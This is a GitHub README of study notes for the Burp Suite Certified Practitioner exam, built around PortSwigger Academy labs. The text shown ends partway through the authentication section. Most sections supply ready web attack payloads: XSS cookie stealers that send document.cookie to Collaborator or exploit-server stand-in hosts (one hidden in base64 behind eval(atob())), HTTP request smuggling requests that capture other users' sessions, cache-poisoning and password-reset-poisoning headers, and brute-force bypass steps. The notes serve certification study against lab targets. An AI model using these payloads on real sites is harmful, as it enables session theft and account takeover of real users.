Coder Social home page Coder Social logo

markfoudy / burp-suite-certified-practitioner-exam-study Goto Github PK

View Code? Open in Web Editor NEW

This project forked from dingyshark/burp-suite-certified-practitioner-exam-study

0.0 0.0 0.0 11.64 MB

Burp Suite Certified Practitioner Exam Study

Python 100.00%

burp-suite-certified-practitioner-exam-study's Introduction

Burp Suite Certified Practitioner Exam Study

This is my study notes on the PortSwigger Academy Burp Suite Certified Practitioner (BSCP) Exam topics. Go to PortSwigger Academy learning and research materials to get original detail. PortSwigger shared this Retaking your exam advice.

FOOTHOLD
Content Discovery
Dom-XSS
Cross Site Scripting
Web Cache Poison
Host Headers
HTTP Request Smuggling
Brute force
Authentication

PRIVILEGE ESCALATION
CSRF Account Takeover
Password Reset
SQL Injection
JSON Web Tokens
Prototype pollution
Access Control
Cross-origin resource sharing

DATA EXFILTRATION
XML entities & Injections
SSRF Server side request forgery
SSTI Server side template injection
File path traversal
File Uploads
Deserialization
OS Command Injection

APPENDIX
Python Scripts
Payloads
Word lists
Focus target scanning
Approach
Youtube Study Playlist

Footnote

Foothold

Content Discovery

Enumeration of target start with fuzzing web directories and files. Either use the Burp engagement tools, content discovery option to find hidden paths and files or use FFUF to enumerate web directories and files.

wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

Burp engagement tool, content discovery using my compiled wordlist burp-labs-wordlist as custom file list.

content-discovery.png

Examine the git repo branches on local downloaded copy, using git-cola tool. Then select Undo last commit and extract admin password from the diff window.

wget -r https://TARGET.web-security-academy.net/.git/

git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

git-cola

PortSwigger Lab: Information disclosure in version control history

DOM-Based XSS

Vulnerable AngularJS
Document Write Location search
Dom Invader
DOM XSS JSON.parse web messages
DOM XSS AddEventListener JavaScript URL
DOM XSS AddEventListener Ads Message
Reflected DOM Cookie Stealer

DOM-based XSS vulnerabilities arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes code to a sink that supports dynamic code execution. Review the code to identify the sources and sinks that may lead to exploit, list of examples:

  • document.write
  • window.location
  • document.cookie
  • eval()
  • document.domain
  • WebSocket
  • element.src
  • postmessage
  • setRequestHeader
  • JSON.parse
  • ng-app
  • URLSearchParams
  • replace()
  • innerHTML
  • location.search
  • addEventListener

Vuln AngularJS

AngularJS expression below can be injected into the search function when angle brackets and double quotes HTML-encoded. The vulnerability is identified by noticing the search string is enclosed in an ng-app directive and /js/angular 1-7-7.js script. Review the HTML code to identify the ng-app directive telling AngularJS that this is the root element of the AngularJS application.

domxss-on-constructor.png

PortSwigger lab payload below:

{{$on.constructor('alert(1)')()}}

Cookie stealer payload that can be placed in iframe, hosted on an exploit server, resulting in the victim session cookie being send to Burp Collaborator.

{{$on.constructor('document.location="https://COLLABORATOR.com?c="+document.cookie')()}}

Note: The session cookie property must not have the HttpOnly secure flag set in order for XSS to succeed.

domxss-on-constructor.png

PortSwigger Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

z3nsh3ll give an amazingly detail understanding on the constructor vulnerability in this lab on YouTube

Doc Write Location search

Below the target is vulnerable to DOM-XSS in the stock check function. Document.write is the sink used with location.search allowing us to add new value to the JavaScript variable named storeId.

/product?productId=1&storeId="></select><img%20src=1%20onerror=alert(document.cookie)>

get-dom-xss.png

Dom-based XSS request with inserted malicious code into the variable read by the target JavaScript.

dom-xss

PortSwigger Lab: DOM XSS in document.write sink using source location.search inside a select element

Dom Invader

Using Dom Invader plug-in and set the canary to value, such as domxss and detect DOM-XSS sinks that can be exploit.

DOM Invader

DOM XSS JSON.parse web messages

Target use web messaging and parses the message as JSON. Exploiting the vulnerability by constructing an HTML page on the exploit server that exploits DOM XSS vulnerability and steal victim cookie.

The vulnerable JavaScript code on the target using event listener that listens for a web message. This event listener expects a string that is parsed using JSON.parse(). In the JavaScript below, we can see that the event listener expects a type property and that the load-channel case of the switch statement changes the img src attribute.

Identify web messages on target that is using postmessage() with DOM Invader.

<script>
	window.addEventListener('message', function(e) {
		var img = document.createElement('img'), ACMEplayer = {element: img}, d;
		document.body.appendChild(img);
		try {
			d = JSON.parse(e.data);
		} catch(e) {
			return;
		}
		switch(d.type) {
			case "page-load":
				ACMEplayer.element.scrollIntoView();
				break;
			case "load-channel":
				ACMEplayer.element.src = d.url;
				break;
			case "player-height-changed":
				ACMEplayer.element.style.width = d.width + "px";
				ACMEplayer.element.style.height = d.height + "px";
				break;
			case "redirect":
				window.location.replace(d.redirectUrl);
				break;
		}
	}, false);
</script>

To exploit the above code, inject JavaScript into the JSON data to change "load-channel" field data and steal document cookie.

Host an iframe on the exploit server html body, and send it to the victim, resulting in the stealing of their cookie. The victim cookie is send to the Burp collaboration server.

<iframe src=https://TARGET.net/ onload='this.contentWindow.postMessage(JSON.stringify({
    "type": "load-channel",
    "url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie"
}), "*");'>

At the end of the iframe onload values is a "*", this is to indicate the target is any.

PortSwigger Lab: DOM XSS using web messages and JSON.parse

DOM Invader identify web messages

Replay the post message using DOM Invader after altering the JSON data.

{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie"
}

DOM Invader resend web messages

PortSwigger: Identify DOM XSS using PortSwigger DOM Invader

DOM XSS AddEventListener JavaScript URL

Reviewing the page source code we identify the addeventlistener call for a web message but there is if condition checking if strings contains http/s.

source-code-web-message-url.png

The exploit server hosted payload below includes the https string, and is successful in bypassing the if condition check.

<iframe src="https://TARGET.net/" onload="this.contentWindow.postMessage('javascript:document.location=`https://Collaborator.com?c=`+document.cookie','*')">

DOM-XSS AddEventListener JavaScript URL

PortSwigger Lab: DOM XSS using web messages and a JavaScript URL

DOM XSS AddEventListener Ads Message

In the source code we identify the call using addEventListener and element id ads reference.

Source code web message ads

The fetch function enclose the collaborator target inside back ticks, and when the iframe loads on the victim browser, the postMessage() method sends a web message to their home page.

<iframe src="https://TARGET.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=fetch(`https://COLLABORATOR.com?collector=`+btoa(document.cookie))>','*')">

Replacing the Burp Lab payload print() with fetch() to steal the victim session cookie.

AddEventListener Ads Message

PortSwigger Lab: DOM XSS using web messages

DOM Cookie Stealer

In the Search function a Reflected XSS vulnerability is identified using \"-alert(1)}// payload. The attacker then deliver an exploit phishing link to the victim with a cookie stealing payload inside a hosted iframe on their exploit server.

Identify The search JavaScript code on the target, return a JSON response. Validate that the backslash \ escape is not sanitized, and the JSON data is then send to eval(). Backslash is not escaped correct and when the JSON response attempts to escape the opening double-quotes character, it adds a second backslash. The resulting double-backslash causes the escaping to be effectively cancelled out.

\"-fetch('https://Collaborator.com?cs='+btoa(document.cookie))}//

Image show the request using search function to send the document.cookie value in base64 to collaboration server.

Reflected dom-xss json cookie stealer

PortSwigger Lab: Reflected DOM XSS

Cross Site Scripting

XSS Resources
Identify allowed Tags
Bypass Blocked Tags
XSS Assign protocol
Custom Tags not Blocked
XSS Tags & Events
OnHashChange
Reflected String XSS
Reflected String Extra Escape
XSS Template Literal
XSS WAF Bypass
Stored XSS

XSS Resources

XSS Resources pages to lookup payloads for tags and events.

CSP Evaluator tool to check if content security policy is in place to mitigate XSS attacks.

Set a unsecured test cookie in browser using DEV tools console to use during test for POC XSS cookie stealer payload on myself.

document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

Basic XSS Payloads to identify application controls for handling data received in HTTP request.

<img src=1 onerror=alert(1)>

Submitting the above payload may give response message, "Tag is not allowed". Then identify allowed tags using methodology.

Identify allowed Tags

The below lab gives great Methodology to identify allowed HTML tags and events for crafting POC XSS.

PortSwigger Lab: Reflected XSS into HTML context with most tags and attributes blocked

Host iframe code on exploit server and deliver exploit link to victim.

<iframe src="https://TARGET.net/?search=%22%3E%3Cbody%20onpopstate=print()%3E">  

Bypass Blocked Tags

Application controls give message, "Tag is not allowed" when inserting basic XSS payloads, but discover SVG mark-up allowed using above methodology. This payload steal my own session cookie as POC.

https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2Fcollaboration.net%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E

Place the above payload on exploit server and insert URL with search value into an iframe before delivering to victim in below code block.

<iframe src="https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FCOLLABORATOR.com%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E">
</iframe>

svg animatetransform XSS

PortSwigger Lab: Reflected XSS with some SVG markup allowed

XSS Assign protocol

Lab to test XSS into HTML context with nothing encoded in search function. Using this lab to test the Assignable protocol with location javascript exploit identified by PortSwigger XSS research. In the payload is the %0a representing the ASCII newline character.

<script>location.protocol='javascript';</script>#%0adocument.location='http://COLLABORATOR.NET/?p='+document.cookie//&context=html

XSS protocol location

PortSwigger Lab: Reflected XSS into HTML context with nothing encoded

Custom Tags not Blocked

Another application also respond with message "Tag is not allowed" when attempting to insert XSS script, but if we create custom tag it is bypassed.

<xss+id=x>#x';

Identify if above custom tag is not block in search function, by observing the response. Create below payload to steal session cookie out-of-band.

<script>
location = 'https://TARGET.net/?search=<xss+id=x+onfocus=document.location='https://Collaborator.COM/?c='+document.cookie tabindex=1>#x';
</script>

Note: The custom tag with the ID x, which contains an onfocus event handler that triggers the document.location function. The HASH character at the end of the URL focuses on this element as soon as the page is loaded, causing the payload to be called. Host the payload script on the exploit server in script tags, and send to victim. Below is the same payload but URL-encoded format.

<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FCOLLABORATOR.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

Custom XSS tag

PortSwigger Lab: Reflected XSS into HTML context with all tags blocked except custom ones

XSS Tags & Events

This section give guide to identify reflected XSS in a search function on a target and how to determine the HTML tags and events attributes not blocked.

The tag Body and event onresize is the only allowed, providing an injection to perform XSS.

?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

Again the Body and event onpopstate is not blocked.

?search=%22%3E%3Cbody%20onpopstate=print()>

PortSwigger Cheat-sheet XSS Example: onpopstate event

Below JavaScript is hosted on exploit server and then deliver to victim. It is an iframe doing onload and the search parameter is vulnerable to onpopstate.

<iframe onload="if(!window.flag){this.contentWindow.location='https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>#';flag=1}" src="https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>"></iframe>

OnHashChange

Below iframe uses hash character at end of URL to trigger the OnHashChange XSS cookie stealer.

<iframe src="https://TARGET.net/#" onload="document.location='http://COLLABORATOR.com/?cookies='+document.cookie"></iframe>

Note if the cookie is secure with HttpOnly flag set enabled, the cookie cannot be stolen using XSS.

PortSwigger Lab payload perform print.

<iframe src="https://TARGET.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

Note: Identify the vulnerable jquery 1.8.2 version used in the lab with the CSS selector to identify hashchange.

Hashchange

PortSwigger Lab: DOM XSS in jQuery selector sink using a hashchange event

Crypto-Cat: DOM XSS in jQuery selector sink using a hashchange event

Reflected String XSS

Submitting a search string and reviewing the source code of the search result page, the JavaScript string variable is identified to reflect the search string in the code variable named searchTerms.

JavaScript string with single quote and backslash escaped

Using a payload test'payload and observe that a single quote gets backslash-escaped, preventing breaking out of the string.

</script><script>alert(1)</script>

Changing the payload to a cookie stealer that deliver the session token to Burp Collaborator. This can be placed on an exploit server within an iframe.

</script><script>document.location="https://Collaborator.net/?cookie="+document.cookie</script>

collaborator get cookies

PortSwigger Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

Reflected String Extra Escape

See in source code the variable named searchTerms, and when submitting payload fuzzer'payload, see the single quote is backslash escaped, and then send a fuzzer\payload payload and identify that the backslash is not escaped.

\'-alert(1)//  

fuzzer\';console.log(12345);//  

fuzzer\';alert(`Testing The backtick a typographical mark used mainly in computing`);//

Using a single backslash, single quote and semicolon we escape out of the JavaScript string variable, then using back ticks to enclose the document.location path, allow for the cookie stealer to bypass application protection.

\';document.location=`https://COLLABORATOR.com/?BackTicks=`+document.cookie;//

With help from Trevor I made this into cookie stealer payload, using back ticks. Thanks Trevor, here is his Youtube time index = TJCHacking XSS string escape

fail-escape

PortSwigger Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

XSS Template Literal

JavaScript template literal is identified by the back ticks ` used to contain the string. On the target code we identify the search string is reflected inside a template literal string.

${alert(document.cookie)}

xss template literal

PortSwigger Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

XSS WAF Bypass

WAF is preventing dangerous search filters and tags, then bypass XSS filters using JavaScript global variables.

"-alert(window["document"]["cookie"])-"
"-window["alert"](window["document"]["cookie"])-"
"-self["alert"](self["document"]["cookie"])-"

secjuice: Bypass XSS filters using JavaScript global variables

fetch("https://COLLABORATOR.NET/?c=" + btoa(document['cookie']))

Base64 encode the payload.

ZmV0Y2goImh0dHBzOi8vODM5Y2t0dTd1b2dlZG02YTFranV5M291dGx6Y24yYnIub2FzdGlmeS5jb20vP2M9IiArIGJ0b2EoZG9jdW1lbnRbJ2Nvb2tpZSddKSk=

Test payload on our own session in Search.

"+eval(atob("ZmV0Y2goImh0dHBzOi8vODM5Y2t0dTd1b2dlZG02YTFranV5M291dGx6Y24yYnIub2FzdGlmeS5jb20vP2M9IiArIGJ0b2EoZG9jdW1lbnRbJ2Nvb2tpZSddKSk="))}//
  • Using the eval() method evaluates or executes an argument.
  • Using atob() or btoa() is function used for encoding to and from base64 format strings.
  • If eval() being blocked then Alternatives:
    • setTimeout("code")
    • setInterval("code)
    • setImmediate("code")
    • Function("code")()

The image below shows Burp Collaborator receiving the victim cookie as a base64 result.

Burp collaborator receiving request with base64 cookie value from our POC.

Hosting the IFRAME with eval() and fetch() payload on exploit server, respectively base64 encoded and URL encoded.

<iframe src="https://TARGET.net/?SearchTerm=%22%2b%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%49%6d%68%30%64%48%42%7a%4f%69%38%76%4f%44%4d%35%59%32%74%30%64%54%64%31%62%32%64%6c%5a%47%30%32%59%54%46%72%61%6e%56%35%4d%32%39%31%64%47%78%36%59%32%34%79%59%6e%49%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%4d%39%49%69%41%72%49%47%4a%30%62%32%45%6f%5a%47%39%6a%64%57%31%6c%62%6e%52%62%4a%32%4e%76%62%32%74%70%5a%53%64%64%4b%53%6b%3d%22%29%29%7d%2f%2f"/>

(Deliver reflected xss to steal victim cookie.

Decode above payload from URL encoding, is the following:

https://TARGET.net/?SearchTerm="+eval(atob("ZmV0Y2goImh0dHBzOi8vODM5Y2t0dTd1b2dlZG02YTFranV5M291dGx6Y24yYnIub2FzdGlmeS5jb20vP2M9IiArIGJ0b2EoZG9jdW1lbnRbJ2Nvb2tpZSddKSk="))}//  

Decode part of payload above that is base64 encoded to the following:

https://TARGET.net/?SearchTerm="+eval(atob("fetch("https://COLLABORATOR.NET/?c=" + btoa(document['cookie']))"))}//  

URL & Base64 encoders and decoders

URL Decode and Encode
BASE64 Decode and Encode

Stored XSS

Use following sample code to identify stored XSS, if stored input is redirecting victim that click or following the links to our exploit server.

<img src="https://EXPLOIT.net/img">
<script src="https://EXPLOIT.net/script"></script>
<video src="https://EXPLOIT.net/video"></video>

Below is log of requests to exploit log server showing which of the above tags worked.

Identify-stored-xss

Cross site Scripting saved in Blog post comment. This Cookie Stealer payload then send the victim session cookie to the exploit server logs.

<img src="1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

Product and Store lookup

?productId=1&storeId="></select><img src=x onerror=this.src='https://exploit.net/?'+document.cookie;>

Stored XSS Blog post

<script>
document.write('<img src="https://exploit.net?cookieStealer='+document.cookie+'" />');
</script>

Below target has a stored XSS vulnerability in the blog comments function. Ex-filtrate a victim user session cookie that views comments after they are posted, and then use their cookie to do impersonation.

Stored XSS Blog post

Fetch API JavaScript Cookie Stealer payload in Blog post comment.

<script>
fetch('https://exploit.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

PortSwigger Lab: Exploiting cross-site scripting to steal cookies

Web Cache Poison

Unkeyed header
Utm_content
Poison ambiguous request
Cache Poison multiple headers

Unkeyed header

Target use tracking.js JavaScript, and is vulnerable to X-Forwarded-Host or X-Host header redirecting path, allowing the stealing of cookie by poisoning cache. Identify the web cache headers in response and the tracking.js script in the page source code. Exploit the vulnerability by hosting JavaScript and injecting the header to poison the cache of the target to redirect a victim visiting.

Tracking Source code review

X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

tracking.js

Hosting on the exploit server, injecting the X-Forwarded-Host header in request, and poison the cache until victim hits poison cache.

/resources/js/tracking.js

exploit host tracking.js

Body send session cookie to collaboration service.

document.location='https://collaboration.net/?cookies='+document.cookie;

Keep Poisoning the web cache of target by resending request with X-Forwarded-Host header.

x-cache-hit.png

PortSwigger Lab: Web cache poisoning with an unkeyed header

Youtube video showing above lab payload on exploit server modified to steal victim cookie when victim hits a cached entry on back-end server. The payload is the above JavaScript.

YouTube: Web cache poisoning with unkeyed header - cookie stealer

Param Miner Extension to identify web cache vulnerabilities

utm_content

Target is vulnerable to web cache poisoning because it excludes a certain parameter from the cache key. Param Miner's "Guess GET parameters" feature will identify the parameter as utm_content.

Cache query reflected

GET /?utm_content='/><script>document.location="https://Collaborator.com?c="+document.cookie</script>

Above payload is cached and the victim visiting target cookie send to Burp collaborator.

cache-collaborator.png

PortSwigger Lab: Web cache poisoning via an unkeyed query parameter

Poison ambiguous request

Adding a second Host header with an exploit server, this identify a ambiguous cache vulnerability and routing your request. Notice that the exploit server in second Host header is reflected in an absolute URL used to import a script from /resources/js/tracking.js.

GET / HTTP/1.1
Host: TARGET.net
Host: exploit.net

On the exploit server set a file as same path target calls to /resources/js/tracking.js, this will contain the payload. Place the JavaScript payload code below to perform a cookie stealer.

document.location='https://Collaborator.com/?CacheCookies='+document.cookie;

Ambiguous Hosts

PortSwigger Lab: Web cache poisoning via ambiguous requests

Cache Poison multiple headers

Identify that cache hit headers in responses, then test if the target support X-Forwarded-Host or X-Forwarded-Scheme headers. These headers can allow for the stealing of victim session cookie.

Identify if the adding the two Forwarded headers to the GET /resources/js/tracking.js request change the location response header, identify poisoning the cache with multiple headers positive.

GET /resources/js/tracking.js?cb=123 HTTP/2
Host: TARGET.net
X-Forwarded-Host: EXPLOIT.net
X-Forwarded-Scheme: nothttps

x-forwarded-scheme not https

On the exploit server change the file path to /resources/js/tracking.js and the update the poison request X-Forwarded-Host: EXPLOIT.net header. Place the payload on exploit server body.

document.location='https://Collaborator.com/?poisoncache='+document.cookie;

Remove the cb=123 cache buster, and then poison the cache until the victim is redirected to the exploit server payload tracking.js to steal session cookie.

PortSwigger Lab: Web cache poisoning with multiple headers

Host Headers

Spoof IP Address
HOST Connection State
Host Routing based SSRF
SSRF via flawed Host request parsing

Spoof IP Address

Identify that altered HOST headers are supported, which allows you to spoof your IP address and bypass the IP-based brute-force protection or redirection attacks to do password reset poisoning.

Include the below X- headers and change the username parameter on the password reset request to Carlos before sending the request.
In the exam if you used this exploit then it means you have no used vulnerability that require user interaction and may be used to gain access to stage 3 as admin.

X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

Check the exploit server log to obtain the reset link to the victim username.

Exploit Server Logs capture the forgot password reset token

PortSwigger Lab: Password reset poisoning via middle-ware

HOST Connection State

Target is vulnerable to routing-based SSRF via the Host header, but validate connection state of the first request. Sending grouped request in sequence using single connection and setting the connection header to keep-alive, bypass host header validation and enable SSRF exploit of local server.

GET / HTTP/1.1
Host: TARGET.net
Cookie: session=ValueOfSessionCookie
Content-Length: 48
Content-Type: text/plain;charset=UTF-8
Connection: keep-alive

Next request is the second tab in group sequence of requests.

POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

Observe that the second request has successfully accessed the admin panel.

single connection

PortSwigger Lab: Host validation bypass via connection state attack

HTTP Request Smuggling

Architecture with front-end and back-end server, and front-end or back-end does not support chunked encoding (HEX) or content-length (Decimal). Bypass security controls to retrieve the victim's request and use the victim user's cookies to access their account.

TE.CL multiCase - Transfer-Encoding
CL.TE multiCase - Content-Length
CL.TE multiCase - User-Agent Cookie Stealer
TE.CL dualchunk - Transfer-encoding obfuscated
HTTP/2 smuggling via CRLF injection
HTTP/2 TE desync v10a h2path

TE.CL multiCase - Transfer-Encoding

Manually fixing the length fields in request smuggling attacks, requires each chunk size in bytes expressed in HEXADECIMAL, and Content-Length specifies the length of the message body in bytes. Chunks are followed by a newline, then followed by the chunk contents. The message is terminated with a chunk of size ZERO.

TE-CL-http-request-smuggle.png

Note: In certain smuggle vulnerabilities, go to Repeater menu and ensure the "Update Content-Length" option is unchecked.

POST / HTTP/1.1
Host: TARGET.net
Content-length: 4
Transfer-Encoding: chunked

71
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0  
  

Note: include the trailing sequence \r\n\r\n following the final 0.

Calculating TE.CL (Transfer-Encoding / Content-Length) smuggle request length in HEXADECIMAL and the payload is between the hex length of 71 and the terminating ZERO, not including the ZERO AND not the preceding \r\n on line above ZERO, as part of length. The initial POST request content-length is manually set.

TJCHacking - Request Smuggling Calculator

PortSwigger Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

CL.TE multiCase - Content-Length

Large Content-Length to capture victim requests. Sending a POST request with smuggled request but the content length is longer than the real length and when victim browse their cookie session value is posted to blob comment. Increased the comment-post request's Content-Length to 798, then smuggle POST request to the back-end server.

POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 242
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: session=HackerCurrentCookieValue

csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

Exploiting HTTP request smuggling with content-length value

No new line at end of the smuggled POST request above^^.

View the blog post to see if there's a comment containing a user's request. Note that once the victim user browses the target website, then only will the attack be successful. Copy the user's Cookie header from the blog post comment, and use the cookie to access victim's account.

Exploiting HTTP request smuggling to capture other users' requests

PortSwigger Lab: Exploiting HTTP request smuggling to capture other users' requests

CL.TE multiCase - User-Agent Cookie Stealer

Identify the UserAgent value is stored in the GET request loading the blog comment form, and stored in User-Agent hidden value. Exploiting HTTP request smuggling to deliver reflected XSS using User-Agent value that is then placed in a smuggled request.

Basic Cross Site Scripting Payload escaping out of HTML document.

 "/><script>alert(1)</script>

COOKIE STEALER Payload.

a"/><script>document.location='http://Collaborator.com/?cookiestealer='+document.cookie;</script>

Smuggle this XSS request to the back-end server, so that it exploits the next visitor. Place the XSS cookie stealer in User-Agent header.

POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://COLLABORATOR.com/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

HTTP request smuggling to deliver reflected XSS and steal victim cookie

Check the PortSwigger Collaborator Request received from victim browsing target.

Collaborator capture XSS Request from victim browsing target

PortSwigger Lab: Exploiting HTTP request smuggling to deliver reflected XSS

TE.CL dualchunk - Transfer-encoding obfuscated

If Duplicate header names are allowed, and the vulnerability is detected as dualchunk, then add an additional header with name and value = Transfer-encoding: cow. Use obfuscation techniques with second TE.

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Transfer-encoding: identity
Transfer-encoding: cow

Some servers that do support the Transfer-Encoding header can be induced not to process it if the header is obfuscation in some way.

On Repeater menu ensure that the "Update Content-Length" option is unchecked.

POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://COLLABORATOR.com/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n
  

gpost Obfuscating the TE header

Note: You need to include the trailing sequence \r\n\r\n following the final 0.

PortSwigger Lab: HTTP request smuggling, obfuscating the Transfer-Encoding (TE) header

Wonder how often this scenario occur that hacker is able to steal visiting user request via HTTP Sync vulnerability?

HTTP/2 smuggling via CRLF injection

Target is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming headers. Exploitation is by use of an HTTP/2-exclusive request smuggling vector to steal a victims session cookie and gain access to user's account.

Identify possible vulnerability when Target reflect previous and recent search history based on cookie, by removing cookie it is noticed that your search history is reset, confirming that it's tied to your session cookie.

recent searches

Expand the Inspector's Request Attributes section and change the protocol to HTTP/2, then append arbitrary header foo with value bar, follow with the sequence \r\n, then followed by the Transfer-Encoding: chunked, by pressing shift+ENTER.

http2-inspector

Note: enable the Allow HTTP/2 ALPN override option and change the body of HTTP/2 request to below POST request.

0

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=HACKER-SESSION-COOKIE
Content-Length: 800

search=nutty

http2 smuggle via crlf inject

PortSwigger Lab: HTTP/2 request smuggling via CRLF injection

Youtube demo HTTP/2 request smuggling via CRLF injection

HTTP/2 TE desync v10a h2path

Target is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length. Steal the session cookie, of the admin visiting the target. The Burp extension, HTTP Request Smuggler will identify the vulnerability as HTTP/2 TE desync v10a (H2.TE) vulnerability.

HTTP/2 TE desync v10a h2path

Note: Switch to HTTP/2 in the inspector request attributes and Enable the Allow HTTP/2 ALPN override option in repeat menu.

POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

Note: Paths in both POST and GET requests points to non-existent endpoints. This help to identify when not getting a 404 response, the response is from victim user captured request. Remember to terminate the smuggled request properly by including the sequence \r\n\r\n after the Host header.

302 Response once stolen admin cookie request captured

Copy stolen session cookie value into new http/2 GET request to the admin panel.

GET /admin HTTP/2
Host: TARGET.web-security-academy.net
Cookie: session=VictimAdminSessionCookieValue
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="109", "Not_A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"

admin-panel-access

PortSwigger Lab: Response queue poisoning via H2.TE request smuggling

Brute Force

Stay-Logged-in
Stay-logged-in Offline Crack
Brute Force Protected Login
Subtly Invalid Login

Stay-Logged-in

Login option with a stay-logged-in check-box result in Cookie value containing the password of the user logged in and is vulnerable to brute-forcing.

stay-logged-in

The exploit steps below plus the Intruder Payload processing rules in order and including the GREP option in sequence before starting the attack.

  1. Logout as current user.
  2. Send the most recent GET /my-account request to Burp Intruder.
  3. Select the cookie: stay-logged-in as injection position.
  4. Hash: MD5
  5. Add prefix: carlos:
  6. Encode: Base64-encode
  7. Add GREP under settings tab, to check for the string in the response Update email indicating successfully logged in attack.

brute

PortSwigger Lab: Brute-forcing a stay-logged-in cookie

Stay-logged-in Offline Crack

The blog application comment function is vulnerable to stored XSS, use the below payload in blog comment to send the session cookie of Carlos to the exploit server.

<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

Base64 decode the stay-logged-in cookie value and use an online MD5 hash crack station database.

stay-logged-in Offline

PortSwigger Lab: Offline password cracking

Brute Force Protected Login

Identified brute force protection on login when back-end enforce 30 minute ban, resulting in IP blocked after too many invalid login attempts. Testing X-Forwarded-For: header result in bypass of brute force protection. Observing the response time with long invalid password, mean we can use Pitchfork technique to identify first valid usernames with random long password and then rerun intruder with Pitchfork, set each payload position attack iterates through all sets simultaneously.

Burp Lab Username, Password and directory fuzzing Word lists

Payload position 1 on IP address for X-Forwarded-For: and position 2 on username with a long password to see the response time delay in attack columns window.

X-Forwarded-For: 12.13.14.15

Intruder Pitchfork

Repeat above Pitchfork intruder attack on the password field and then identify valid password from the status column with 302 result.

PortSwigger Lab: Username enumeration via response timing

Subtly Invalid Login

Identify that the login page is not protected by brute force attack, and no IP block or time-out enforced for invalid username or password.

Subtly invalid login

Notice on the Intruder attack column for the GREP value, Invalid username or password. the one response message for a failed username attack do not contain full stop period at the end. Repeat the attack with this identified username, and Sniper attack the password field to identify 302 response for valid login.
In the exam lookout for other input field disclosing valid accounts on the application and brute force identified account passwords, such as example to password reset function.

PortSwigger Lab: Username enumeration via subtly different responses

Authentication

Account Registration
Auth Token bypass Macro

Account Registration

Business logic flaw in the account registration feature allow for gaining foothold as target user role access. Content Discovery find the path /admin, message state the Admin interface is only available if logged in as a DontWannaCry user.

Register length flaw

Creating email with more that 200 character before the @ symbol is then truncated to 255 characters. This identify the vulnerability in the account registration page logic flaw. In the email below the m at the end of @dontwannacry.com is character 255 exactly.

